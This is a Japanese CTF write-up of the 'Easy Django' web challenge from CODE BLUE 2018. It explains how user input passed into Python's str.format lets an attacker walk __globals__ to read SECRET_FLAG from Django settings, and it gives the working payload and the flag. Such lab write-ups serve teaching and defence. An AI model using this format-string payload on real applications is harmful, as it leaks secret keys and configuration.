CODE BLUE 2018 で LINE と GRAYHASH の人たちが作ったミニCTFが開催されていた。
とりあえず Web 問だけ解いたのでその Writeup です。

https://codegray.xss.how/


Easy Django

http://52.197.132.74/
Find the : ‘SECRET_FLAG’

まず、問題URLにアクセスすると今風のWebサイトが表示される。
適当にURIを /hoge とかでアクセスすると DEBUG=True な画面が表示される。

どうやら subscribe/register というパスがあるらしいのでアクセスするが、 POST しか受け付けていないことがエラー時に出力されるコードからわかる。

# Create your views here.
def main(request):
    context = {}
    return render(request, 'mypage/index.html', context)

def subscribe(request):
    # Get parameter from user
    email = request.POST['email']; ... 👈
    user = request.user
    # Building json
    template = '%s' % email
    template = template.format(email=email, user=user)
    template = "{'result':true, 'email':'"+template+"'}"

他にエンドポイントはないので、この数行のコードに潜む脆弱性を突いて settings.py に含まれている SECRET_FLAG を抜き出す。

このコードから format 識別子 {} をインジェクションすることが可能であることがわかる。

email{email}{user.is_staff} という値を与えると template{email}{user.is_staff} という文字列になる。
"{email}{user.is_staff}".format(email="{email}{user.is_staff}", user=AnonymousUser) となり、レスポンスは次のように {user.is_staff} が評価された形で返ることになる。

{'result':true, 'email':'{email}{user.is_staff}False'}

これまでのCTFのパターンであればここで SSTI して任意の関数を呼び出して open('flag.txt').read() ということをすることになるが、今回はテンプレートエンジンは使っておらず、フォーマット文字列であるため関数呼び出しは不可能。

となると settings.py の任意の変数の値を取得するには __globals__ などを用いることになる。

参考 : Be Careful with Python’s New-Style String Format

CONFIG = {
    'SECRET_KEY': 'super secret key'
}

class Event(object):
    def __init__(self, id, level, message):
        self.id = id
        self.level = level
        self.message = message

def format_event(format_string, event):
    return format_string.format(event=event)

上記のようなコードがあったときに {event.__init__.__globals__[CONFIG][SECRET_KEY]} という入力値与えることで SECRET_KEY を取得できる。

というわけで今回だと以下のような文字列となる。

{email}{user.set_password.__globals__[auth].admin.settings.SECRET_FLAG}

これを email の値として送信すると FLAG が返ってくる。

{'result':true, 'email':'{email}{user.set_password.__globals__[auth].admin.settings.SECRET_FLAG}FLAG{IU_Is_the_b3st_singer_ev3r!}'}

というわけで FLAG は FLAG{IU_Is_the_b3st_singer_ev3r!} でした。

簡単だけど良問でした!

ctf